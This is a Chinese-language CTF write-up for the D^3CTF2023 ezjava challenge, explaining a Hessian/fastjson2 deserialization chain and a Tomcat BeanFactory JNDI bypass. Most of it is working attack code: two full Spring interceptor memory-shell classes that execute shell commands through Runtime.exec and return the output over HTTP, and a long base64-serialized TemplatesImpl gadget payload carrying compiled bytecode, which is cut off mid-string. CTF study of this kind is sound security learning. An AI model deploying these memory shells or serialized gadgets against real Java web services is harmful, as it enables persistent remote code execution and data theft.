FastJson/Jackson题目练习

LNY_Sage-1_TravelPrep

D^3CTF2023ezjava

分析

给了registry和server两个服务,看到registry有一个hessian反序列化路由,和fastjson2的2.0.24版本依赖。故纯在反序列化漏洞。但是有黑名单,限制了TemplatesImpl加载字节码和JNDI,该怎样绕过呢?;还有一个问题就是flag在server服务下,那应该怎样打到server?

image-20240512115322360

ok,看到server的controller就可以解决第二个问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.example.server.controller;

import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0L;

public IndexController() {
}

@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > 10000L) {
this.update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception var4) {
msg = "client is online";
}

return Result.of("200", msg);
}

public void update() {
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List)msg;
}
} catch (Exception var6) {
var6.printStackTrace();
}

}
}

访问registry的/client/status路由会调用server的/status,在这个/status路由有调用了update()方法

image-20240512124154350

而这个update()方法又会访问registry的/blacklist/jdk/get路由返回一个json字符串,这里会用parseObject根据字符串生成一个对象。

思路就是通过registry的hessian反序列化修改registry的/blacklist/jdk/get路由返回一个json字符串为一个恶意数据串,让sever反序列化后达到攻击的目的。

题解

分析的大概思路是这样的,但打又是另一回事情了。有很多细节需要注意。

接下来就看了别人的wp学习一下。征程漫漫,好累。

JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

绕过JDK高版本限制JNDI

利用限制tomcat8+

RegistryContext#decodeObject类

在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

image-20240513162151997

寻找Reference的替代

使用ResourceRef对象进行响应

为什么是ResourceRef?

  • 继承Reference
  • getFactoryClassLocation 可以为null

要注意的是只能绑定remote的对象,这不是还是没办法吗?image-20240513193451037

通过**ReferenceWrapper(reference)**包裹这个对象,就可以实现在被攻击目标起一个额外的服务,就是remote对象了。

这样就绕过了高JDK版本的限制。

不出网JNDI

但是还是限制了远程加载ObjectFactory需要寻找依赖的getObjectInstance对ResourceRef进行实例化。这个时候我们需要找一个新的factory的进行利用,要求继承Factory并且该类getObjectInstance方法可以进行利用。

这里使用的是org.apache.naming.factory.BeanFactory这是tomcat8+才有的类,也就是为何需要依赖tomcat8+的原因。

看到他的getObjectInstance方法,来分析如何利用

在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。

接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法。再按=等于号分割成 propName 和 param。

最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法,并按照 param 从 Addrs 中取到的 String 对象作为参数去反射调用该方法。

EL表达式又正好是Sring类型,浅析EL表达式注入漏洞 - 先知社区 (aliyun.com)这样就可以进行命令执行。

当然这只是绕过的一种方法,满足这些条件都可以。

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

paylaod

正确的思路与我的思路有些大同小异,主要是在细节的处理上。

hessian反序列化的CVE-2021-43297通过构造恶意数据包来导致异常处理来调用toString方法,来接toJSONString。这样将黑名单置空,并且打入内存马修改registry的/client/status路由返回一个内存马打入server

两个内存马

FastJson内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Memshell2 extends AbstractTranslet implements HandlerInterceptor {

public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell2 evilInterceptor = new Memshell2();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
public static String replaceBlank(String str) {

String dest = "";

if (str != null) {

Pattern p = Pattern.compile("\\s*|\t|\r|\n");

Matcher m = p.matcher(str);

dest = m.replaceAll("");

}

return dest;

}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

String code;

// if(nums == 1){
// Runtime.getRuntime().exec("grep -rn --exclude-dir={proc,sys} flag{* / > /tmp/1.txt");
// }
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";


System.out.println(output);


code = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";

if (request.getRequestURI().equals("/status")) {
String result = new Scanner(code).useDelimiter("\\A").next();

response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

register的内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;

import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Memshell1 implements HandlerInterceptor {

public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell1 evilInterceptor = new Memshell1();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// String code1 =
// System.out.println(request.getRequestURI());
String code;
System.out.println(nums);
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(request.getRequestURI());
// code = "{\"code\":\"200\",\"message\":\""+output+"\"}";
if(nums % 2 ==0){
code = "{\"code\":\"200\",\"message\":\"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAH3QAHm9yZy5leGFtcGxlLkpzb25UZW1wbGF0ZXNDaGFpbnQAF0pzb25UZW1wbGF0ZXNDaGFpbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05PYmplY3QAAAAAAAAAAQIAAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAExc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAABpHyv66vgAAADQBMQoAPwCXCACYCACZCgCaAJsKAJoAnAoAnQCeCgCfAKAIAKEKAJ8AogoAowCkBwClCgALAKYIAKcKAAsAqAoACwCpCgALAKoJAKsArAoArQCuBwCvCgATAJcIALAKABMAsQoAsgCzCgC0ALUKALYAtwgAuAoAEwC5CwC6ALsIALwKALQAvQoACwC+CAC/CADACwDBAMILAMEAwwoAxADFCgDEAMYKAMQAxwkAOwDICwBAAMkLAEAAyggAywoAzADNCADOCwDPANAHANEHANILAC4A0wcA1AgA1QoA1gDXBwDYCgA0ANkKANoA2woA2gDcBwDdBwDeCgA5ANkHAN8KADsAlwsAOADgCADhBwDiBwDjAQAEbnVtcwEAAUkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xvcmcvZXhhbXBsZS9NZW1zaGVsbDI7AQAMcmVwbGFjZUJsYW5rAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFwAQAZTGphdmEvdXRpbC9yZWdleC9QYXR0ZXJuOwEAAW0BABlMamF2YS91dGlsL3JlZ2V4L01hdGNoZXI7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEZGVzdAEADVN0YWNrTWFwVGFibGUHAOQBABBNZXRob2RQYXJhbWV0ZXJzAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQHAOUHAKUHAN8HAOYHAOcHAOgBAApFeGNlcHRpb25zBwDpAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAOoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABVtYXBwaW5nSGFuZGxlck1hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABFhZGFwdEludGVyY2VwdG9ycwEAEExqYXZhL3V0aWwvTGlzdDsBAA9ldmlsSW50ZXJjZXB0b3IBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQBGTGphdmEvdXRpbC9MaXN0PExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcjs+OwcA0QcA0gcA6wcA2AcA3QcA3gEAClNvdXJjZUZpbGUBAA5NZW1zaGVsbDIuamF2YQwAQwBEAQAAAQAJXHMqfAl8DXwKBwDsDADtAO4MAO8A8AcA8QwA8gBLBwDzDAD0APUBAAljYXQgL2ZsYWcMAPYA9wcA+AwA+QD6AQARamF2YS91dGlsL1NjYW5uZXIMAEMA+wEAAlxBDAD8AP0MAP4A/wwBAAEBBwECDAEDAQQHAQUMAQYBBwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAZeyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6IgwBCAEJBwEKDAELAQ4HAOQMAQ8BEAcBEQwBEgETAQACIn0MARQBAQcA5gwBFQEBAQAHL3N0YXR1cwwBFgEXDABDAQcBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHAOcMARgBGQwBGgEbBwEcDAEdAQcMAR4ARAwBHwBEDABBAEIMAG0AbgwAcQByAQAGc3RhYXJ0BwEgDAEhASIBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHASMMASQBJQEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwBJgEnAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwEoDAEpASoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MASsARAcA6wwBLAEtDAEuAS8BAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwyDAEwARcBAAJvawEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAF2phdmEvdXRpbC9yZWdleC9QYXR0ZXJuAQAHY29tcGlsZQEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9yZWdleC9QYXR0ZXJuOwEAB21hdGNoZXIBADMoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL3V0aWwvcmVnZXgvTWF0Y2hlcjsBABdqYXZhL3V0aWwvcmVnZXgvTWF0Y2hlcgEACnJlcGxhY2VBbGwBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAh0b1N0cmluZwEADWdldFJlcXVlc3RVUkkBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlhZGRIZWFkZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAPcHJpbnRTdGFja1RyYWNlAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA2FkZAAhADsAPwABAEAAAQAJAEEAQgAAAAgAAQBDAEQAAQBFAAAALwABAAEAAAAFKrcAAbEAAAACAEYAAAAGAAEAAAAZAEcAAAAMAAEAAAAFAEgASQAAAAkASgBLAAIARQAAAIYAAgAEAAAAHBICTCrGABYSA7gABE0sKrYABU4tEgK2AAZMK7AAAAADAEYAAAAaAAYAAAAzAAMANQAHADcADQA5ABMAOwAaAD8ARwAAACoABAANAA0ATABNAAIAEwAHAE4ATwADAAAAHABQAFEAAAADABkAUgBRAAEAUwAAAAgAAfwAGgcAVABVAAAABQEAUAAAAAEAVgBXAAMARQAAAZQAAwAJAAAAsbgABxIItgAJtgAKOgW7AAtZGQW3AAwSDbYADjoGGQa2AA+ZAAsZBrYAEKcABRICOgeyABEZB7YAErsAE1m3ABQSFbYAFrgAFxkHtgAYtgAZtgAWEhq2ABa2ABs6BCu5ABwBABIdtgAemQBHuwALWRkEtwAfEg22AA62ABA6CCwSIBIhuQAiAwAsuQAjAQAZCLYAJCy5ACMBALYAJSy5ACMBALYAJrIAJwRgswAnA6wErAAAAAMARgAAADoADgAAAEsADQBMAB0ATQAxAFAAOQBTAF0AVQBrAFYAfgBYAIgAWQCTAFoAnABbAKUAXACtAF0ArwBgAEcAAABcAAkAfgAxAFgAUQAIAAAAsQBIAEkAAAAAALEAWQBaAAEAAACxAFsAXAACAAAAsQBdAF4AAwBdAFQAXwBRAAQADQCkAGAAYQAFAB0AlABiAGMABgAxAIAAZABRAAcAUwAAAC8AA/4ALQAHAGUHAGZBBwBU/wB/AAgHAGcHAGgHAGkHAGoHAFQHAGUHAGYHAFQAAABrAAAABAABAGwAVQAAAA0DAFkAAABbAAAAXQAAAAEAbQBuAAMARQAAAGAABQAFAAAACiorLC0ZBLcAKLEAAAACAEYAAAAKAAIAAABlAAkAZgBHAAAANAAFAAAACgBIAEkAAAAAAAoAWQBaAAEAAAAKAFsAXAACAAAACgBdAF4AAwAAAAoAbwBwAAQAawAAAAQAAQBsAFUAAAARBABZAAAAWwAAAF0AAABvAAAAAQBxAHIAAwBFAAAAYAAFAAUAAAAKKissLRkEtwApsQAAAAIARgAAAAoAAgAAAGoACQBrAEcAAAA0AAUAAAAKAEgASQAAAAAACgBZAFoAAQAAAAoAWwBcAAIAAAAKAF0AXgADAAAACgBzAHQABABrAAAABAABAGwAVQAAABEEAFkAAABbAAAAXQAAAHMAAAABAHUAdgADAEUAAAA/AAAAAwAAAAGxAAAAAgBGAAAABgABAAAAcABHAAAAIAADAAAAAQBIAEkAAAAAAAEAdwB4AAEAAAABAHkAegACAGsAAAAEAAEAewBVAAAACQIAdwAAAHkAAAABAHUAfAADAEU